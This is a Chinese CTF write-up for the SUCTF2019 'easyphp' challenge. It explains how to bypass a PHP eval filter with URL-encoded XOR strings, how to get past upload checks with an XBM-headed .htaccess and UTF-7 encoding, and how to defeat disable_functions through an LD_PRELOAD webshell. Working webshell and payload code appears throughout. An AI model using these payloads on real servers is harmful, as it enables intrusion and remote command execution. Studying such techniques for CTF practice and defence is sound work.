首页 > 其他分享 >一道疯狂bypass的题目

一道疯狂bypass的题目

时间:2023-07-26 13:31:34浏览次数:39  
标签:题目 eval 疯狂 80% bypass pcntl php 绕过 name


0x00 题目SUCTF2019-easyphp

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

0x01 分析:

源码给出了一个文件上传的function,但是没有直接调用,接着看源码,在后面接收GET参数$_GET['_']经过严格的过滤之后作为eval的参数传入,因此前半段的思路很明显是通过eval调用文件上传的function。按照正常的逻辑,我们有eval函数,也可以控制eval函数里的值,那么我们可以考虑利用eval来执行恶意代码,而题目的严格限制就是需要我们绕过的地方。

首先需要绕过字符长度的限制

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

然后对大部分可见字符做了限制

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

通过脚本在本地跑,可以得到允许的字符。

一道疯狂bypass的题目_ctf

! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { }

接着对可用字符数目进行了限制,不可以使用超过12种的字符。

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

大体思路就是通过eval调用上传函数get_the_flag,来getshell

0x02 思考

如何通过这个eval函数进行RCE,eval会将参数作为PHP代码执行,并且其传入的必须是有效的PHP代码,所有的语句必须以分号结尾,否则会导致parse error。

代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。eval() 返回 NULL,除非在执行的代码中 return 了一个值,函数返回传递给 return 的值。 PHP 7 开始,执行的代码里如果有一个 parse error,eval() 会抛出 ParseError 异常。在 PHP 7 之前, 如果在执行的代码中有 parse error,eval() 返回 FALSE,之后的代码将正常执行。

如果想要以间接变量的方式来引用,需要注意格式:

如果直接以**一道疯狂bypass的题目_web_02xxx)();**的格式,在php7中,不允许通过(‘phpinfo’)();来执行动态函数,但是在PHP7以后可以通过('phpinfo')();的方式来执行函数

一道疯狂bypass的题目_ctf_03


具体可以看PHP关于表达式执行顺序在各个版本之间的说明

http://php.net/manual/zh/migration70.incompatible.php

起初一看这里面并没有引号,无法按照一般的方法传入字符串异或,一般传统的方法是通过异或或者取反~,但是需要字符串才可以。这里要使用异或那么便是构造(‘xxx’‘xxx’)()的形式,或者(~‘xxxx’)()的形式,但此处最大的问题在于没有引号,从这道题目中学习到了,在PHP中,url 参数默认是字符串类型,不用考虑引号,并且可以使用url编码构造不可见字符,因此可以得到以下payload

Ascii码大于 0x7F 的字符都会被当作字符串,不可见字符用url编码表示,比如

(~%8F%97%8F%96%91%99%90)();      //(phpinfo)();

一道疯狂bypass的题目_web_04


但是我们可用的字符里没有~,所以要想其他办法

**第一:**和 0xFF 异或相当于取反,可以绕过被过滤的取反符号。

%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF

**第二:**通过跑脚本来得到不可显字符的异或组合,来得到想要的payload。

<?php

function valid($s){
    if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $s) )
        return false;
    return true;
}

function is_valid($s){
    if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $s) )
        return false;
    if(ord($s) <= 127)  return false;
    return true;
}

function get($s){
    $result0 = '';
    $result1 = '';
    for($c=0; $c < strlen($s); $c++){
        for($i=0; $i<256; $i++){
            // echo "round $i\n";
            if(is_valid(chr($i))){
                if(is_valid(chr($i)^$s[$c])){
                    // echo $i;
                    $result0.=urlencode(chr($i));
                    $result1.=urlencode(chr($i)^$s[$c]);
                    break;
                }
            }
        }
    }
    return $result0.'^'.$result1;
}

echo get('phpinfo');

一道疯狂bypass的题目_web_05

%80%80%80%80%80%80%80^%F0%E8%F0%E9%EE%E6%EF

得到payload。

一道疯狂bypass的题目_web_06


到现在,算是绕过了字符的限制,还需要考虑长度的问题,长度只允许不超过18个字符,而上面的phpinfo也需要20个字符,因此需要考虑变量来绕过,而可控的全局变量里最短的也就是一道疯狂bypass的题目_ctf_07是可以使用的,通过脚本得到不可显字符异或的url编码的payload

%80%80%80%80^%DF%C7%C5%D4

按照间接调用的规则,$(xxxx^xxxx)()这里括号和花括号具有同等效果,因为只有右括号没有左括号,但是有花括号

${%80%80%80%80^%DF%C7%C5%D4}[X]();
${%80%80%80%80^%DF%C7%C5%D4}{X}();

这里正好是18个字符

一道疯狂bypass的题目_php_08


但是$_GET里的接收参数需要换成不可显字符

${%80%80%80%80^%DF%C7%C5%D4}{%95}();

一道疯狂bypass的题目_#define_09


这样就构造出符合长度的payload,并且通过$_GET变量跳出长度的限制。

不过由于长度限制的很死,没有办法带上参数,但是题目定义了一个上传的函数,所以我们接着看上传的函数的逻辑。

function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

这个函数主要存在以下三个限制

第一,文件的扩展名不能存在ph的字符

$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");

第二,文件的内容不能存在php的标识符<?

if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");

第三,文件的头需要是图像的头,exif_imagetype()读取一个图像的第一个字节并检查其签名。

if(!exif_imagetype($tmp_name)) die("^_^");

首先对于文件头,有以下几种方法可以绕过

1、在内容前面增加GIF98a等标志

2、在文件开头增加\xff\xd8等标志

>>> fh = open('shell.php', 'w') 
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>') 
>>> fh.close()

3、使用了xbm格式,X Bit Map,来绕过图片检测

一个XMB图片文件通常如下

#define width 1337
#define height 1337
static char test_bits[] = { };

在这里要结合配置文件的特性使用注释行,就会被htaccess当作无效来解析,或者行开头使用\x00开头,所以使用XBM文件正好不影响.htaccess的解析

接着对于文件的扩展名,可以利用.htaccess或者.user.ini来绕过,具体使用哪一种需要看题目的环境而决定

.htaccess

#define width 1337
#define height 1337
AddType application/x-httpd-php .aaa

此处是把.aaa后缀的文件当作php来解析,这样我们就可以上传.aaa的文件来绕过ph的后缀限制

接着我们要绕过对文件内容的绕过,这里可以利用各种编码,比如base或者utf7,或者utf16,再htaccess中写入

#define width 1337
#define height 1337
AddType application/x-httpd-php .aaa
php_flag display_errors on
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

然后上传的时候文件内容进行相应的编码即可

#define width 1337
#define height 1337
+ADw?php system('ls /')+ADs +AF8AXw-halt+AF8-compiler()+ADs

在里面疯狂偷学各位师傅的姿势

一道疯狂bypass的题目_ctf_10

到目前为止我们已经可以顺利上传文件并可以初步执行命令,但是phpinfo一下发现了basedir限制,无法读到根目录下的内容,下面需要对这个进行绕过,或者绕过disable function也可以,因此有以下baypass方法:

第一:绕过open_basedir

第二:绕过disabled func

第一个方法可以参考https://bugs.php.net/bug.php?id=70134,通过socket与fpm通信

第二个方法,disable function

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

注意到disable_functions里面没有putenv函数和error_log函数,因此可以通过LD_PRELOAD来bypass disable_functions。在UNIX的动态链接库的世界中,LD_PRELOAD是一个有趣的环境变量,它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。我使用的是error_log函数,这里可以先构造一个上传页面和handle文件,这样后面上传就不需要再通过前面那些检查了。可以自行编译.so文件也可以用现成的。

<?php
	echo "example : http://site.com/shell.php?outpath=any_temp&sopath=/path/to/so/bypass.so&cmd=id";
	$cmd = $_GET["cmd"];
	$out_path = $_GET["outpath"];
	$payload = $cmd . " > ". $out_path . " 2>&1";
	echo "<br/>cmdline : " .$payload;
	
	putenv("EVIL_CMDLINE=".$payload);
	$so_path = $_GET["sopath"];
	putenv("LD_PRELOAD=".$so_path);
	
	error_log('a',1);
	echo "<br /> output : ".nl2br(file_get_contents($out_path));
	
?>

最后得到flag。

0x03 参考链接

https://www.php.net/manual/zh/migration70.incompatible.php

https://www.php.net/manual/zh/migration72.deprecated.php

https://bugs.php.net/bug.php?id=70134

[https://github.com/mdsnins/ctf-writeups/tree/master/2019/Insomnihack%202019/l33t-hoster](https://github.com/mdsnins/ctf-writeups/tree/master/2019/Insomnihack 2019/l33t-hoster)

0x04 实操练习

长按下面二维码,开始做实验哦(PC端操作最佳哟)

声明:本文微信公众号“合天智汇”,本文原作者:Mr.zhang


标签:题目,eval,疯狂,80%,bypass,pcntl,php,绕过,name
From: https://blog.51cto.com/u_14601424/6855540

相关文章

  • 在疯狂的前端世界,为什么选择学习React
    题图| https://github.com/react-icons/react-iconsReactNative和Prettier的作者之一、前端大牛、Twitter大V@Vjeux(ChristopherChedeau)建议前端人都来学习下React,他给出的理由是:“React和其他库的不同之处在于,它可以教会你一些概念,这些概念可以在你的开发生涯中反复使用。......
  • 1.c++入门以及简单顺序结构题目
    #1.c++入门以及简单顺序结构题目##1.计算(a+b)*c的值```c++inta,b,c;cin>>a>>b>>c;cout<<(a+b)*c;return0;```##2.带余除法```c++inta,b;cin>>a>>b;cout<<a/b<<""<<a%b;``````c++//c++中取余结果只与%前面的正负有关系cout<<......
  • 【NSSCTF逆向】【2023题目】《Bytecode》
    题目Bytecode解法是蛮久没见的字节码题目,还有点记忆这里一大长串应该是一串数组,跟存储后变形的flag有关上面的啥打印错误什么的应该是在跑的时候告诉我们有问题,也不用管红框里面可以看到是一个循环从46到152可以继续看到红框里面的东西,应该就是主要的变形过程了。写w......
  • 23暑期集训 题目印象
    7.16[USACO20DEC]SleepingCowsP确定dp顺序P8863「KDOI-03」构造数组转化模型易于理解CF1363F转化概念区间右移变为右端点左移,便于转移CF1188Cdp不一定要直接求出答案;使得答案为min(i,j),排序取i,j两边的;......
  • 计数题目合集
    CF1342F题目链接很巧妙的一个计数题。原题目等价于构建一个递增序列\(p\),赋予每个数字一个属性\(b\),满足\(b_{p_i}=p_i\),其余任选。且\(\forallj,\sum\limits_{i=1}^n[b_i=p_j]a_i<\sum\limits_{i=1}^n[b_i=p_{j+1}]a_i\)。最大化递增序列\(p\)的长度。先考虑一个朴......
  • 南京邮电大学《程序设计(上机)》题目[2023-07-21]
    南京邮电大学《程序设计(上机)》题目[2023-07-21]2022-2023学年第1学期程序设计实验指导书胥备17766106600一、 实验前准备硬件:微型计算机一台(个人笔记本电脑)软件:任一C或C++语言开发工具知识准备:1)复习C或者C++语言知识二、 实验目的与任务目的:本课程是在《高级语言程序......
  • C/C++数据结构课程设计题目[2023-07-19]
    C/C++数据结构课程设计题目[2023-07-19]数据结构课程设计题目基本要求:1、每人1题,如果系统具有界面以及功能复杂,可以2人合作一题。2、可以自拟题目,难度不低于给定题目,且自拟的题目需要经过老师审核通过。3、要求实现一个界面美观、功能完整、具有实用性的系统。4、不限制......
  • 题目总结
    P1758[NOI2009]管道取珠看见方案数平方,考虑两个人分别取,两两匹配。P1912[NOI2009]诗人小G决策单调性,用队列维护。P1963[NOI2009]变换序列二分图+字典序,倒序考虑。P6843[BalticOI2015]FilePaths仔细读题,情况考虑全。P5861[IOI2015]teams分组先从最初的暴力贪......
  • 【暑假题目】20230712 帧处理
    帧处理题目在物联网应用中需要经常处理数据帧,请你写一段处理数据帧的代码将收到的数据进行解析输出提示:1、数据帧的长度不定,但是帧头帧尾是固定的2、数据帧的参数数量不定,请注意3、每次收到的数据可能不是完整的一帧,但是不能把不完整的数据帧丢弃,应该等待到下一完整帧接收到后才......
  • 近期 AtCoder Beginner Contest 题目选做
    AtCoderBeginnerContest310Ehttps://atcoder.jp/contests/abc310/tasks/abc310_e我们要求所有区间的NAND之和,发现NAND最后只可能是\(0\)或\(1\),所以我们只需要计数区间NAND为\(1\)的即可。考虑dp,设\(f_{i,0/1}\)表示以\(i\)结尾的区间最后NAND和为\(0/......